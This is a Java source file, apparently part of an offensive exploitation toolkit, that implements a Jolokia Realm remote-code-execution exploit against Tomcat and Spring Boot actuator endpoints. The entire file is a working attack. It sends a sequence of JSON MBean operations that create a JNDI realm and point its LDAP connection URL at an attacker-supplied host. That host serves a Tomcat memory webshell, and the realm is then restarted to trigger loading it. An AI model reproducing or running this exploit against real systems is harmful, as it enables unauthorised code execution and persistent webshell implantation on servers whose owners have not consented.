package com.drops.exp;

import com.drops.exp.util.JolokiaUtil;
import com.drops.utils.HTTPUtils;

/**
 * @ClassName: JolokiaRealmRCEEXP
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/7/29 15:20
 * @Version: v1.0.0
 * @Description:
 **/
public class JolokiaRealmRCEEXP {

    public  boolean hasJolokiaRealmRCE(String target, String vps, String port, boolean version) {



        String create_realm = "{\n" +
                "    \"mbean\": \"Tomcat:type=MBeanFactory\",\n" +
                "    \"type\": \"EXEC\",\n" +
                "    \"operation\": \"createJNDIRealm\",\n" +
                "    \"arguments\": [\"Tomcat:type=Engine\"]\n" +
                "}";

        String wirte_factory = "{\n" +
                "    \"mbean\": \"Tomcat:realmPath=/realm0,type=Realm\",\n" +
                "    \"type\": \"WRITE\",\n" +
                "    \"attribute\": \"contextFactory\",\n" +
//                "    \"value\": \"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
                "    \"value\": \"com.sun.jndi.ldap.LdapCtxFactory\"\n" +
                "}";
        // 设置 http
        String write_url = "{\n" +
                "    \"mbean\": \"Tomcat:realmPath=/realm0,type=Realm\",\n" +
                "    \"type\": \"WRITE\",\n" +
                "    \"attribute\": \"connectionURL\",\n" +
                "    \"value\": \"ldap://" + vps + ":1389/basic/TomcatMemshell3\"\n" +
                "}";

        String stop = "{\n" +
                "    \"mbean\": \"Tomcat:realmPath=/realm0,type=Realm\",\n" +
                "    \"type\": \"EXEC\",\n" +
                "    \"operation\": \"stop\",\n" +
                "    \"arguments\": []\n" +
                "}";

        String start = "{\n" +
                "    \"mbean\": \"Tomcat:realmPath=/realm0,type=Realm\",\n" +
                "    \"type\": \"EXEC\",\n" +
                "    \"operation\": \"start\",\n" +
                "    \"arguments\": []\n" +
                "}";

        String[] poc = new String[]{create_realm, wirte_factory, write_url, stop, start};


        if (version){
            if (JolokiaUtil.hasMbeansV3(target)){
                for (String p: poc){
                    if (
                            HTTPUtils.postRequestjson(target, "jolokia",p).getStatus() != 200
                    ){
                        return false;
                    }
                }
                return true;
            }
        }else {
            if (JolokiaUtil.hasMbeansV4(target)){
                for (String p: poc){
                    if (
                            HTTPUtils.postRequestjson(target, "actuator/jolokia",p).getStatus() != 200
                    ) {
                        return false;
                    }
                }
                return true;
            }
        }



        return false;
    }

}
